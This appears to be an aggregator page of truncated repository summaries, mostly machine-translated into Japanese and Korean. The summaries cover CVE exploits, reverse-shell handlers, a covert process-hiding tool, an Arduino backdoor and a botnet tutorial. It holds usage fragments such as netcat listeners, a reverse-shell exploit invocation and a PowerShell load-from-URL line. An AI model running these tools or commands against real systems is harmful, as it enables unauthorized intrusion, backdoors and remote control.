CVE-2018-8174_EXP

CVE-2018-8174EXP 使い方: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT CVE-2018-8174 のエクスプロイト オプション引数: -h, --help このヘルプメッセージを表示して終了 -u URL, --url URL エクスプロイトURL -o OUTPUT, --output OUTPUT エクスプロイトRTFを出力 -i IP, --ip IP netcat用のIPアドレス -p PORT, --port PORT netcat用のポート 例: 1. python CVE-2018-8174.py ...

Log4j

サンプルの脆弱なアプリケーションを作成します。 2. netcat リスナーを起動します。 3. エクスプロイトを実行します。 4. より良い結果を得るには、jdk1.8.020 を使用してください。 Exploit-db - https://www.exploit-db.com/exploits/50592...

Harmonic

Harmonic Suite Linux用のツールセットで、リバースシェルの管理とインターフェースを提供するために開発中です（コードはまだ迅速かつ不完全な状態で、例外処理はほとんどありません）。UNIX哲学に強く影響を受けており、基本的なアイデアは、任意のエンドポイントを処理するデーモン（connd、ただしまだ適切なデーモンではありませんが、別のターミナルで実行可能）を用意し、それらのエンドポイントに対してツールを実行することです。...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 python -m http.server 80 使用法:...

Arduino-Netcat-Backdoor

Arduino - Netcat - Windows용 백도어 이름 제안을 환영합니다. 개념 증명입니다. 실제 사용을 위한 것이 아닙니다. 다른 사람들이 이것으로 하는 일에 대해 책임을 지지 않습니다. Windows 7 이상을 실행하는 Windows 머신을 공격하여 지속적인 백도어를 생성합니다. 기능 Arduino 스크립트는 서버에서 배치 스크립트를 다운로드하여 Windows 시작 폴더에 저장합니다. 이 스크립트는 netcat 실행 파일이 특정 위치에 있는지 확인하고, 필요하면 서버에서 다운로드한 후 시작하여 명령 프롬프트에...

CrestCrack

CrestCrack CrestCrack は、Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1 の CVE-2016-5640 / CLVA-2016-05-002 を悪用するシンプルなスクリプトです。引数が指定されると、CrestCrack は netcat を利用して、対象マシンと選択した netcat リスナーとの間にリバースシェルを作成します。 セットアップ: 1. CrestCrack のコピーをクローンします git clone https://github.com/vpnguy/CrestCrack 2. netcat...

CVE-2018-2893

本ソフトウェアは学習および交流のみを目的としており、いかなる違法行為も禁止されています この名前を付けた主な目的は、2893の人気に便乗することです。リバースシェルジェネレーター 主な機能は、自身の外部ネットワーク用ncリスニングオブジェクトを生成することです。コードに不慣れな人々の助けになればと思います。2893や2628には適用できず、サードパーティのサービスポートを利用してリモートサービスを生成する必要があります。 GitHubからの転載者...

powercat

powercat Netcat: The powershell version. Powershell Version 2 and Later Supported Installation powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded...

powercat

powercat Netcat: 파워셸 버전. 파워셸 버전 2 이상 지원 설치 powercat은 파워셸 함수입니다. 먼저 함수를 로드한 후에 실행할 수 있습니다. 아래 명령어 중 하나를 파워셸 프로필에 추가하면 파워셸 시작 시 powercat이 자동으로 로드됩니다. Load The Function From Downloaded .ps1 File: . .\powercat.ps1 Load The Function From URL: IEX New-Object...

CVE-2017-13089

CVE-2017-13089 CVE-2017-13089 のペイロード生成プログラム。このバージョンでは、実行するスタックのアドレスを手動で特定する必要があります 直接でも成功する可能性があります shellcode 部分の buf は、msf で生成された通常のペイロードです。必要なペイロードに直接置き換えてください 使用方法は以下のとおりです： python shellcode.py&nc -lp 80...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

CVE-2021-21315

Rust言語で書かれたCVE-2021-21315のエクスプロイトコード 私はRust初心者なので、このコードはRustLangの練習の一環でした はい！！リバースシェルを取得しよう!!!!!!!!!! !教育または研究目的のみ ビルド cargo build 使い方 ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 リバースシェルをキャッチするためのリスナーにはNetcatが必要 nc -nlvp nc -nlvp 1234...

CVE-2022-30525

CVE-2022-30525 Zyxel ファイアウォールの未認証リモートコマンドインジェクションの脆弱性 影響を受けるコンポーネント USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 ファームウェアバージョン ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch help root@localhost ./CVE-2022-30525 -h NAME:...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

LinPwn

LinPwn 소개 LinPwn은 사후 익스플로잇 열거 및 권한 상승을 지원하기 위해 만들어진 대화형 도구입니다. 연결 연결 클래스에 연결하려는 IP와 포트를 설정하십시오. LinPwn 바이너리를 대상 시스템에 배치하십시오. 자신의 시스템에서 nc -lvp PORT를 실행한 다음 대상 시스템에서 LinPwn을 실행하여 연결을 얻으십시오. 사용법 1. shell - 이 명령은 /bin/sh를 실행합니다 사용 예: LinPwn: Shell id exit를 입력하면 LinPwn으로 돌아갑니다. 2. readfile - 이 명령은 파일...

webhandler

WebHandler PHPシステム関数用のハンドラーであり、'netcat' ハンドラーの代替でもあります 情報 WebHandlerは、'Linux bash プロンプト'をシミュレートして、以下を処理および実行しようとします： - PHPプログラム実行関数 例: system、passthru、exec など - バインドシェル接続 - リバースシェル接続 もう1つの機能は、HTTPヘッダーの"User-Agent"フィールドを偽装することです。--random-angent。 また、HTTPプロキシもサポートします --proxy http://: WebHandlerはPOST...

rustcat

rustcat - The modern port listener and reverse shell What is Rustcat Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible. Modes Listen mode listen; Reverse shell mode connect; Features Command history & Tab completion...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

botnet-hackpack

シンプルなC&Cボットネット このハックパックでは、ボットネットの基本的な特徴を実装するための基礎的なフレームワークを順を追って説明します。C言語を扱った経験があると役立つかもしれません。このチュートリアルが気に入ったら、このリポジトリにスターを付けてください！ 注意:...

poc-redis

エクスプロイトを実行するには、添付のZIPを解凍し、Linux上で以下の手順に従ってください： 1. virtualenvをセットアップし、Redisクライアントをインストールします $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. 別のターミナルで、Redisのdockerイメージを実行します またはソースからビルドして、サポートされているプラットフォームで実行します このエクスプロイトはFedora 40/Ubuntu 24.04でテスト済みで動作します $...